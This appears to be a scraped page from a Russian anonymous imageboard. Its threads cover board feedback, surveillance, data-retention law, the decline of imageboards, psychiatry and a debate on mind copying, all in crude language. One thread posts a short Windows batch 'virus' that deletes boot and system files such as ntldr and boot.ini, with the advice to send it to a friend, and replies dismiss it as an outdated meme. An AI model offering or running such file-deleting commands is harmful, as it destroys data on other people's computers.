/b/ - Нульчан


/b/

「Пожелания и предложения, найденные ошибки」

Аноним## АдминРазвернутьПоследний 100
GIqSnWaDsEx78 KB600x599превозмогая трудности костыли велосипеды.jpg
Что-то по мелочи вполне можно подправить.
Для чего-то большего будет другой, собственный движок.

Здесь планируется:
1. Изменить разметку на более привычную. Например на ббкоды. Всё же вакабамарк лютое говно.
2. Подправить разметку и основную тему, сделать более удобной и дружелюбной.
3. Дорисовать отсутствующие фавиконки для состояний unread reply error disconnected
364 posts and 24 images omitted See All
Аноним
>>6126 #
> с шапочкой
с шляпой
Аноним
Ты ленивый.
>>8326 #
Аноним
>>8322 #
Всё сложнее.

/b/

「Эшелон в РФ」

АнонимРазвернутьПоследний 100
GIqSnWaDsEx13 KB250x150commandos_enl_enl-250x150.jpg
https://zona.media/article/2018/10/10/axel
>Как активиста «Другой России» задержали в метро по сигналу с видеокамеры, опознавшей его по ориентировке Центра «Э»
>В беседе с «Медиазоной» Михаил Аксель упомянул, что, по словам полицейских, распознавшая его лицо технология используется в аппаратно-программном комплексе «Безопасный город».
О да, начинай скрывать ебальник.
9 posts and 0 image omitted See All
Аноним
>>8291 #
Ну и зачем ты нужен мвд и отделу ээээээ?

>>8294 #
Аноним
>>8294 #
Cпросил, они сказали, что ты им не нужен.
>>8323 #

Аноним
>>8292 #
Есть же версия на русском и не такая всратая.
Аноним
>>8316 #
>>8280 #
Тебе не кажется, что с переводом шутка совсем стала плоской?
>>8318 #
Аноним
>>8317 #
Дозируй. Ты похоже слишком часто её видел.


/b/

「ппп」

АнонимРазвернутьПоследний 100
GIqSnWaDsEx377 KB1427x892maxresdefault.jpg
Допустим, создана почти идеальная борда. Красивая, современная, технологичная. Попыток создать такую было немало, от мишача до дискурса и гиперчана.

И что? Как вы загоните туда людей? Как заставите постить? Как будете расчищать этот загон от вайпов, пиара параш и шизни?

Никак? Получится колчок.
Мочерацией? К вашем помойке приклеится ярлычок "мочепараша".

Адекватные пользователи быстро уйдут. Их мало, они привиредливы, если им что-то не будет нравится, они станут искать новую борду. А кто придет? Шизота, колчки, пиарщики параш.

Ах да, еще онлайн. Хорошо, если он будет в 1-2 человека. Доброчан, ычан, лолифокс. Много там людей?

Борды изжили себя как формат общения. Всё ушло в монополию - на сосач. Где живое общение, где больше вероятности найти понимающего собеседника и т.д.

Молодежи нужно вот это, а не борда, где тебе, может быть, через пару часов ответят. Так что да, со смертью говнульча умерли и борды. Это была последняя живая.

Сосач монополизировал всё, и вам НЕЧЕГО предложить людям, тем более ньюфагам. Новая борда - это рация на необитаемом острове, в то время как сосач - спутниковый телефон. Который прослушивают, и который работает хуево, но работает.
2 posts and 0 image omitted See All
Аноним
>>8030 #
Я не мочезависимый.
Аноним
Согласен, с твоими рассуждениями.
>>8057 #
Аноним
>>8051 #
Обоснуй-ка запятую в своем высере, говна ты кусок.
Аноним
> дискурса
Дристаль плиз.
>>8288 #

/b/

「Пакет」

АнонимРазвернутьПоследний 100
GIqSnWaDsEx14 KB476x3561428262050252.jpg
С 1 октября операторы связи обязаны хранить весь пользовательский интернет-трафик в течение месяца, и каждый год этот срок будет увеличиваться на 15% в течение пяти лет
39 posts and 2 images omitted See All
Аноним
>>8072 #
>Это вообще не имеет значения.
Тогда тебе следует либо изменить определение, либо термин.
>админ может сдать тебя
Сдать != доступ неограниченного числа людей.
Никто просто так не будет мониторить миллионы фоток втентакле на наличие екстремизма. Да и самому админу выгоднее молчать, т.к. последующие следственные действия ему не нужны.
>>8179 #
Аноним
>>8095 #
>Тогда тебе следует либо изменить определение, либо термин.
От этого поменяется утверждение о том, что фоточки/видосики/каментики хранятся в тентакле?
>Сдать != доступ неограниченного числа людей.
Извини за аналогию, но пернуть != обосраться. В том смысле, что я не понял, что ты хочешь сказать.
Есть ли у кого-то доступ или нет — без разницы. Сливают информацию и больше знать тут ничего и не нужно.
Скорее всего аналитика собирает избыточные данные для коммерческих целей и попутно выявляет кое-что еще.
Кстати, не так давно был какой-то скандал на данной почве только вроде бы в фэйсдуке, за то что кому-то что-то всплывало в предложке. Деталей не помню.
>Да и самому админу выгоднее молчать, т.к. последующие следственные действия ему не нужны.
Не выгодно админу молчать, потому что ресурс деньги приносит, а блокировка ему нахер не нужна по чье-то внезапной абузе. В общем сливают возможно и не со зла, но скорее всего для галочки и потому что могут.
Выводы делай сам, я лично от указанных в ОП мероприятий не вижу каких-то серьезных угроз кроме кривого треккинга и перехвата файлов (и то не факт). Но это говно, опять же по моему мнению, пойдет в ход не раньше, чем ты выиграешь в ту самую рулетку на какой-то известной и легко сотрудничающей с администрацией помойке.
>>8230 #
Аноним
>>8179 #
>От этого поменяется утверждение о том, что фоточки/видосики/каментики хранятся в тентакле?
Публичность определяет доступ. Если доступ есть у всех - публичный. Если нет - не публичный. Зависит от уровня доступа.
>Сливают информацию и больше знать тут ничего и не нужно.
Ты тупой? 282 не предполагает ответственности за размещение инфы в закрытых местах. Можно настучать, но максимум что ты получишь это внимание, никак не статью.
>Не выгодно админу молчать, потому что ресурс деньги приносит
Вот именно что приносит деньги. Когда придут мусора деньги он перестанет приносить на некоторое время. Может быть даже на очень длительное.
>блокировка ему нахер не нужна
Мы сейчас про 282 говорим. Блокировка должна быть подкреплена чем-то, т.е. закрытые группы/альбомы/приват не подходят. Иначе бы сосач уже был бы заблокирован, т.к. его 'абу'зили с самого начала появления этого списка.
>>8232 #
Аноним
>>8230 #
Мне лень отвечать. Считай что я слился или типа того.
>>8251 #
Аноним
>>8232 #
Не надо просто уходить от темы и всё будет ок.

Аноним
>>8046 #
Так проследуй сам знаешь куда. Там много аноньчиков и много новых тредов.
Вот только зачем плодить сущности, которые заведомо являются подобными? Или вы каким-то образом хотите противопоставить себя кому-то еще, но при этом этих кого-то еще привлечь к себе?
Аноним
>>8065 #
И это сказал сосачер, пиздец товарищи!
>>8067 #
Аноним
>>8066 #
Не проецируй, мочеманя.

Аноним
мишу придумали олдфаги, чтобы троллить ньюфагов
Аноним
>>8023 #
Чё за канал? Видел его на анусе, но хз тот ли это чмиша.
>>8053 #
Аноним
>>8035 #
Я уже не помню, надо в логи лезть, ну и думаю не хорошо будет палить без спросу их логово.
Подсказка: название канала если я не путаю начиналось на t, вроде бы на фриноде, но это не точно.
>>8054 #
Аноним
>>8053 #
Нет, я попутал, это домен сервера начинается на t, а сам канал #0chan.
>>8068 #
Аноним
>>8054 #
Ещё подсказка: ирк-сервер находится на том же домене где был архив говнульча.

/b/

「Когда Миша поднимет нормальный нульчан?」

АнонимРазвернутьПоследний 100
GIqSnWaDsEx73 KB500x6501825433_original.jpg
Имиджборды умирают в то время как в социальных сетях сажают за репосты. Это может привести к стагнации интернет-сообщества до уровня перехода на телевизоры.
61 posts and 8 images omitted See All
Аноним
>>8003 #
Если есть более удобные места, то почему ты не там, а здесь?

«Борды умерли» — слишком поверхностное и оттого не соответствующее истине утверждение. Во-первых, тот же «Сосач» одним из первых попал в Реестр распространителей информации. Что только в очередной раз подтверждает факт покупки этой борды mail.ru, отсюда два вопроса:
а) стала бы корпорация мэйлсру покупать никому не нужный захудалый форум на 3,5 посетителей?
б) стали бы чинуши включать никому неизвестный локальный форум для аватарок в свой реестр?

Во-вторых, define «смерть». Новые борды появляются, многие старые продолжают работать, какое-то общение на них идёт.

Я бы сказал, что борды просто прошли типичный путь любого культурного явления, т.е. из андерграунда сначала превратились в мейнстрим, а затем просто в этом мейнстриме растворились. Влияние борд можно встретить повсеместно: стикеры в мессенджерах и соц. сеточках, популяризация идеи мемов, сленг и т.п. Кроме того, из борд вышли многие блоггеры и коллективные проекты, которые так или иначе продолжают нести бордо-культуру, но уже не на правах анонимности.

В общем, борды за время своего расцвета создали такой огромный культурный пласт, что первоисточник просто потерялся в этом массиве информации, стал незаметен.

То, что АИБ перестали быть локомотивом интернет-культуры и утратили свою былую социальную значимость — правда. То, что вокруг АИБ уже нет целостного сообщества — тоже правда. Можно ли назвать это смертью? Пожалуй, лучше комой. Что означает, что возрождение ещё может состояться. Да, хоть и вероятность этого КРАЙНЕ МАЛА, но ведь остаётся же.

> Для всего этого есть гораздо более удобные платформы
Не будь голословным — приведи, пожалуйста, примеры. Очень уж интересно посмотреть. Я надеюсь, ты же имел в виду не «вкудахт» с «телегой»?
Аноним
>>8024 #
> куплен
Это уже детали, суть в том, что разрабатывали они его не сами. Уже тогда они вовсю использовали свою типичную практику: купить какой-нибудь перспективный продукт (скайп, гитхаб, етц...) и опционально его загубить. С опен-соурсом, как мне кажется, они не уживаются, а напротив внедряются в комьюнити, чтобы в будущем разрушить его изнутри. Звучит как параноидальная шиза, знаю. Но ведь очевидно же, что чем больше опен-сорс полагается на Мелкософт, тем больше начинает зависеть от этой корпорации и её решений, и в один прекрасный момент это может сыграть злую шутку.

Что же касается самих продуктов, то, признаю, Win7 вышла качественной ОС, но, видимо, у них там аллергия на качественные решения, поэтому уже в 8 они поспешили всё сломать. О Win10 с её «официальной» малварью вообще промолчу.

Ладно, это уже действительно совсем не по теме.

>>8027 #
> Мочерацией? К вашем помойке приклеится ярлычок "мочепараша".
Ну вот у Ычана такая репутация, и что? Борда вполне себе живёт, и уже много лет как входит в топ-4 ру-борд по посещаемости. Т.е. делаем вывод, что жёсткая модерация хоть и отталкивает часть аудитории, но не является фаьа

> Доброчан, ычан, лолифокс. Много там людей?
Про лолифокс ничего не знаю. Но вокруг Ычана и Доброчана вполне себе сформировались сообщества, и скорость постинга в популярных разделах там вполне приемлемая.

> Молодежи нужно вот это, а не борда, где тебе, может быть, через пару часов ответят
Потому что на любой вдумчивый пост нужно потратить некоторое время и усилия, оттого качественный постинг практически несовместим с быстрым постингом. За пару минут невозможно написать обдуманный пост, этого хватит лишь на унылое оскорбление про мамку оппонента, но не более того. Что мы и наблюдаем на Сосаче.

>>8041 #>>8052 #
Аноним
>>8040 #
>но не является фатальной.
Фикс. Ваша борда отправляет посты как-то рандомно. OCHE странный движок. Как-то у меня пропал интернет, и в итоге половина сообщения просто исчезла.
>>8044 #
Аноним
>>8041 #
Просто здесь есть режим чятика, который можно отключить в настройках.
Аноним
>>8040 #
> Это уже детали, суть в том, что разрабатывали они его не сами. Уже тогда они вовсю использовали свою типичную практику: купить какой-нибудь перспективный продукт (скайп, гитхаб, етц...) и опционально его загубить. С опен-соурсом, как мне кажется, они не уживаются, а напротив внедряются в комьюнити, чтобы в будущем разрушить его изнутри. Звучит как параноидальная шиза, знаю. Но ведь очевидно же, что чем больше опен-сорс полагается на Мелкософт, тем больше начинает зависеть от этой корпорации и её решений, и в один прекрасный момент это может сыграть злую шутку.
Раньше они не умели зарабатывать на опенсорсе, а теперь умеют, поэтому-то и развернулись лицом к нему. На азуре дохуища прыще-серверов и никто не думает заменять их на вендовые.
Ты лучше подумай что из-за политизированного CoC будет с прыщексом. Угроза с другой стороны.



Аноним
> дрискурс

Аноним
>>7882 #
Приятно же соснуть хуец своей тянучки, или быть ею выебанным.
>>7885 #
Аноним
>>7883 #
Я не хочу, я вообще мимокрокодил.

Просто я предполагаю что тот анон просто хотел бы любоваться членом у тян на расстоянии, а трахать вполне обычную вагину.

Как по мне члены у тян это не эстетично.
Аноним
Профитов несколько:
1. Твоя любимая девочка, сможет любить других девочек, когда тебя нет рядом.
2. Твоя любимая девочка, на основании опыта п.1, сможет лучше понимать что нужно тебе от нее.
3. Другие мальчики, подкатывая к твоей девочке, внезапно будут удивлены.
4. Можно измерять расстояния, кратные 5 метрам.

Аноним
>>7077 #
>>7080 #
>>7083 #
Нашлось:
> В новой редакции МКБ деления шизофрении на различные формы мы уже не найдем. МКБ-11 предлагает специалистам оценивать проявления симптоматики у пациента, больше внимания уделяя дескрипторам, расширяющим представление о состоянии пациента с определенным диагнозом, таким как «негативные симптомы при первичных психотических расстройствах», «депрессивные симптомы при первичных психотических расстройствах» и так далее. Сама же шизофрения делится теперь только по количеству эпизодов и их длительности.
> По-видимому, дескрипторы ввели для более тонкой и гибкой диагностики, более полного описания имеющейся симптоматики. Дело в том, что, по мнению многих специалистов, за нынешним диагнозом «шизофрения» может скрываться абсолютно разное содержание и далеко не всегда пациенты с одним и тем же диагнозом демонстрируют похожую картину заболевания. Новый подход позволит построить более индивидуальный подход к пациентам, что, вероятно, расширит границы «нормальности». Во-первых, людей, страдающих шизофренией, теперь уже нельзя будет терминологически точно объединять словом «шизофреники». Во-вторых, это изменит отношение к процессу лечения и ухода со стороны врачей и медперсонала.
> Тем не менее, учитывая активное развитие нейронаук, в ближайшие годы стоит ожидать дальнейшего изменения взгляда на шизофрению, а также ракурса развития психиатрии в отношении данного заболевания.

Не совсем отменили, меня дезинформировали, но как видишь меняется оно уже.

>>7844 #
Аноним
>>7837 #
Ничего не изменится. Один хуй карательная психиатрия будет записывать неугодных в шизики и лишать всевозможных прав.

/b/

「gghhghg」

tytyРазвернутьПоследний 100
GIqSnWaDsEx86 KB1054x865rage-super-rage-l.png
Как создать вирус для виндовс
1. Запускаем блокнот
2. Вставляем туда это:
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
3. Сохраняем как file.bat
4. Кидаем файл другу
5. ???
6. PROFIT!
Аноним
Не знаю даже сколько лет этому баяну. Времён винды 95.
>>7705 #
Аноним
>>7682 #
> Времён винды 95
> ntldr

Иди нахуй, даун
>>7709 #
Аноним
>>7705 #
Чего раскукарелось чепушило?
autoexec.bat и boot.ini давно нет, это пережитки того ответвления винды которая сидела с досом, то есть 95, 98, ME. В XP удаление этих файлов ничего ей не сделает.
Удаление ntldr да приведёт в XP к сообщению NTLDR is missing, которое тривиально исправляется. win.ini XP тоже особо не нужен насколько я помню.
NT появилось до 95 винды, так что про времена я прав. Но современное NT не хранит загрузчик в корне диска C: так что это всё мусор из тех дремучих времён.
>>7838 #
Аноним
>>7709 #
Что ж ты так нагрелся, животное?

/b/

「Паста от Эмогая.」

=Эм0=РазвернутьПоследний 100

1.
Я лежал на операционном столе, щурясь от яркого света. На мою голову был надет шлем с сотнями мелких электродов. Причёску попортили, гады, подумал я.
Но где врачи? Они вроде хотели спасать меня после очередной попытки суицида?
На этот раз я воспользовался советом из /б/ и резал вдоль.
Раздался слабый гул, кожей головы я ощутил покалывание и щекотку. Электромагнитное поле!
Что же они со мной делают? Опыты ставят? Ну да, наверное, ведь у меня нет родственников и друзей, никто не хватится ещё одного пропавшего неформала.
В глазах стало темнеть. Расхотелось дышать. Всё стало всеравно. Я как бы отплывал в приятное чёрное безмолвие ногами вперёд. В палату вошла молодая женщина в белом халате. Подошла ко мне, проверить угасающий пульс. Наклонилась... Последним сознательным движением я схватил её за запястье. Раздался электрический треск, запахло жареным. Женщина пошатнулась и упала в обморок. Шиш вам, а не опыты, успел подумать я, гадко ухмыльнулся и окончательно уплыл во тьму небытия.

2.
Ранее.

- Итак, вы предлагаете записывать альфа и бета волны мозга, чтобы воспроизвести их на компьютере, так? Что вы ожидаете от этого эксперимента?
Седой бородач и молодая женщина сидели в переговорной комнате. Бородач курил сигару, перед женщиной стоял стаканчик с кофе.
- Я предпологаю записать воспоминания подопытного, ведь именно они составляют личность! Я уверена, что так мы сможем сохранить сознание человека для потомков.
Только представьте, для решения любой сложной задачи мы сможем обращаться не к живому специалисту, который требует зарплаты, социальных благ, а к компьютерной программе на основе человеческого разума! Какая экономия, ведь компьютеру не надо платить пенсии!
- Чтож, произнёл седой учёный, в этом есть разумное зерно. Даю зелёный свет на одного подопытного, в больницах наверняка есть одинокие люди присмерти.

3.
Очнитесь! Что случилось? Подопытный напал на вас?
Я с трудом разомкнул глаза. Что? Где я? Седой бородатый мужчина тряс меня за плеч
57 posts and 3 images omitted See All
Аноним
GIqSnWaDsEx63 KB564x468DoKfrvFVsAAxVD0.jpg
Ладно, ты прав.
Без обоснования почем и опираясь чисто на твои субъективные ощущения.
>>7834 #
Аноним
>>7833 #
А тут иначе никак. Потому что сам предмет спора и тем более постановка вопроса не дают возможности рационально установить истину. Спор о любом утверждении со словом "это" - "Копия это ты/не ты" - это спор об определениях, а спор об определении штука заведомо провальная, потому что определение в голове, а не во внешнем мире.
Инстинктивно большинству людей ближе не признавать копии собой, однако у этой позиции есть очевидный изъян - в условиях сложной физики невозможно установить, где кончается оригинал и начинается копия, и можно легко контрить эту позицию, сказав что копией ты становишься когда у тебя обновляются нейроны (если считать копией отдельный физический объект), или когда ты засыпаешь (если непрерывно существующую машину). Впрочем, у признания копии тоже есть изъяны. Какие-то из них я возможно не вижу из-за собственной ангажированности, но из тех что вижу, самый главный: в информационном плане любой объект существует всегда как часть множества возможных объектов, а значит смерть это иллюзия, умереть принципиально невозможно.
Если немного непонятно, поясню. Упростим и представим, что люди могут существовать всего трёх вариантов - красные, синие и зелёные. Ну например человек состоит из одного атома, а атомов во вселенной всего три разновидности. Уничтожив все копии синего человека, мы не уничтожаем его информационно - при желании его легко можно будет воссоздать, зная о том что люди бывают синие, зелёные и красные.
Чёт хуёво объяснил. Раньше лучше объяснял. Ну вы поняли короче о чём я.
>>7846 #
Аноним
Вот на примере натуральных чисел лучше объясню, как раньше, это понятней. Допустим, есть у нас числа от одного до десяти. И допустим, мы решили уничтожить тройку. Прошлись по вселенной. Уничтожили всё, что существует в трёх экземплярах, все проявления цифры три. Уничтожили мы тройку? Конечно нет - она осталась как нечто между двойкой и четвёркой. И стоит немного зазеваться, как она снова проявит себя. Информация не уничтожена.
Допустим, мы нашли способ закодировать человека так, чтобы он был натуральным числом из определённого диапазона. Ну или любую другую информацию. Теперь он становится бессмертным - в любой момент мы можем перебрать все возможные варианты и получить среди прочих вариантов этого человека, даже если уничтожить диск с его записью.
Аноним
У этого есть практическое следствие - при ограниченности объёма стандартного сознания, в быстро расширяющемся межгалактическом обществе, граждане которого верят что копии это они, вскоре жить становится несколько бессмысленно - заканчиваются все возможные варианты человека и даже не копируя себя, каждый всё равно обладает миллионами копий, разбросанных по всей Вселенной, чисто статистически. На практике, конечно, смысл не теряется - во-первых будут разумы с объёмом значительно большим стандартного, во-вторых хуй знает сколько ещё звёздных систем надо захватить чтобы достигнуть такого невероятного населения, в третьих несмотря на идентичность личностей статистических копий, надличностные (социальные) структуры над ними различаются.
Аноним
>>7834 #
>Потому что сам предмет спора и тем более постановка вопроса не дают возможности рационально установить истину.
Сначала определи наличие реальности, потом уже думай о существования в ней истины в рамках имеющейся логики.
Из того что мы знаем:
- Жизни после смерти как-то не особо есть. Что равносильно постулату: смерть тела (а конкретно мозга) - смерть сознания и личности.Соответственно, смерть части мозга - смерть части личности. Так же как аффективное состояние или опьянение не является нормальным состояние сознание и соответствует измененному состоянию. Состоянию утраченной концентрации, неправильного восприятия, нарушения двигательных функции, чрезмерному возбуждению. Все это ты, но это уже не совсем ты, потому что твои мотивы действий изменены средой, потому что ты ее неотъемлемая часть.
- Отсутствие личности в организме или машине не означает отсутствие сознания и возможности отделять я от не я. Это можно проверить даже на достаточно одаренной псине или на тех же больных головой, хотя обратная связь что с одними, что с другими, затруднена. Тем же кошкам и собакам снятся сны, в которых они взаимодействуют с воображаемым ими миром, то есть они свободны выделять в нем себя.
- Наличие только рациональных действие свидетельствует в пользу утраты сознания и переходу к автоматизму. В противовес этому, наличие только иррациональных действий свидетельствует об разрозненности сознания, отсутствии осмысления последовательностей хода вещей и их организации.
Что из этого следует:
- Проверить существование жизни после смерти принципиально невозможно. Не живому все равно до твоей информации.
- Часть сознания личности - является частью сознания личности, но при этом, данная часть может обладать целостными качествами личности отдельных состояний. Об этом тяжело судить, пока не удастся пронаблюдать весь их спектр с физическим исключением непосредственно связанных частей носителя сознания. Разрушенная личность до определенного состояния тоже личность. Предел этот очень размыт в виду отсутствия все той же обратной связи с наблюдаемым.
- Принцип тождества, с точки зрения одной из копий, к сознанию не применим. Любая достоверная или полная копия, не считая забитых в угол депрессий, будет считать себя вполне оригинальной и не связанной с другой копией.
>Инстинктивно большинству людей ближе не признавать копии собой
Вовсе нет и даже наоборот. Больше половины хочет верить в собственную реинкарнацию в копии себя.
>в информационном плане любой объект существует всегда как часть множества возможных объектов, а значит смерть это иллюзия, умереть принципиально невозможно.
В таком случае, жизнь отдельного сознания личности тоже невозможна, потому это сознание будто бы летучий голандец есть либо у всего, либо ни у кого. Но ведь это не так?
Не устану повторять, но информация не является предметом объективной реальности, потому что это форма упрощенной интерпретации. Информация не является объектом. Это всего лишь набор камушков в твоих руках, а как их интерпретировать решать тебе. Можешь их посчитать, а можешь взвесить. Так называемый смысл в предметах задает личность, она является потребителем информации, среде же твоя информация, как и твоя личность, абсолютно безразличны.
>мы не уничтожаем его информационно
Мы уничтожаем его и все. Информация не предмет и не материал, это набор свойств на основе условных договоренностей.
Фокус заключается в том, что все эти опыты кажутся правильными только с точки зрения стороннего наблюдателя, для подопытного смерть будет смертью.
Напоследок, самой простой опыт. Попробуй осознать себя в ком-нибудь другом не изменяя состояния сознания и чем-нибудь подтвердив это. Ведь нет же никакой разницы между тобой и кем-то еще?